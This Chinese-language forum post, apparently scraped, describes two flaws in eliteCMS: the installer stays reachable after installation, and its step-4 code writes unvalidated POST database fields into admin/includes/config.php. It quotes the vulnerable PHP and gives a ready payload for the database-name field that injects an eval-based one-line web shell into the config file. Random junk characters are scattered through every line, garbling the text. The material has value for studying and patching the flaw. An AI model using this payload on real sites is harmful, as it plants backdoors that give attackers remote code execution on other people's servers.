eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装: Q- Z! s0 a$ q, _0 M
0 r& B0 \1 {' G另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php: ~' B$ O V& M8 K5 R3 I
我们来看代码:
: s$ s& T( |. b% I
, f/ I9 a- Z+ N, S: z...! j5 `8 M1 B1 w2 P. o
elseif ($_GET['step'] == "4") {
# g/ ?2 d: C, d1 ^ $file = "../admin/includes/config.php";
& s" {7 [ w2 @( Z0 P $write = "<?php\n";
t: |1 A1 b$ p% X $write .= "/**\n";& l" H2 i! H! L' f6 M& \9 Z
$write .= "*\n";) Z; m9 c( s6 }
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
' m, [' k3 x7 _( D" }! @...略..." T' A# y# n! K3 L
$write .= "*\n";1 B0 z* n, f# G7 U& I
$write .= "*/\n";
, C: d5 I- e1 r8 h- @ $write .= "\n";
, T: D5 X' j" j3 i $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
; F& U0 @+ `" Q. [4 L; H $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";: ~/ S* p. @4 w8 H, |% r
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";; i, {9 l# T2 X0 l# D
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";. a8 W) L; w( C& a( x3 ~3 u; k
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
, `. T. K) l* v- v6 j4 V% c $write .= "if (!\$connection) {\n";
! T- @2 d' A' p! k0 P $write .= " die(\"Database connection failed\" .mysql_error());\n";9 V( r7 `1 f/ l, P3 }
$write .= " \n";/ H' Q: h9 V# O6 Y1 j
$write .= "} \n";
+ f/ F- b; J3 y9 E3 J $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";. l% s8 m7 ]! t2 \' f( c
$write .= "if (!\$db_select) {\n";, b: x: L7 \! Q" N3 v3 D% K; [& ? G
$write .= " die(\"Database select failed\" .mysql_error());\n";
& E) R2 ]. ]7 M, | $write .= " \n";3 z* z) Y4 ~7 _3 H
$write .= "} \n";& }( r) \0 t$ R: g7 H# L1 k
$write .= "?>\n";& E) C. U# P" L- a" l& ~
' E, v* y. {+ U- j
$writer = fopen($file, 'w');% b/ {! X! ^4 D
...
2 h" V* p L( y: l" H* R 6 P, O5 ~( g3 A$ m* b
在看代码:' c4 g& j" ]5 `# b* ?3 ~) }
n# G0 M W/ l- ]" H! ?0 w$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];. i+ \( z4 ?4 L* W# M& J( b2 I
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
* S' X8 F- K9 E$ F% l9 s0 |9 F, V$_SESSION['DB_USER'] = $_POST['DB_USER'];
+ k- D4 B4 R! R0 Z" x5 B8 ?$ h2 ~$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
( e2 Z+ H7 E7 C) g
: i, k3 H# x+ h8 A取值未作任何验证6 |3 H$ ^) z( W9 i: r2 \$ L
如果将数据库名POST数据:) h8 x+ c+ R! R! Z4 n( G1 K8 r
2 q' U- `& h8 @( I
"?><?php eval($_POST[c]);?><?php
& Q+ r5 r3 g/ g% l. B
& F1 s: K' Y1 D! T9 L6 r将导致一句话后门写入/admin/includes/config.php) n4 i8 k( d9 U2 T
|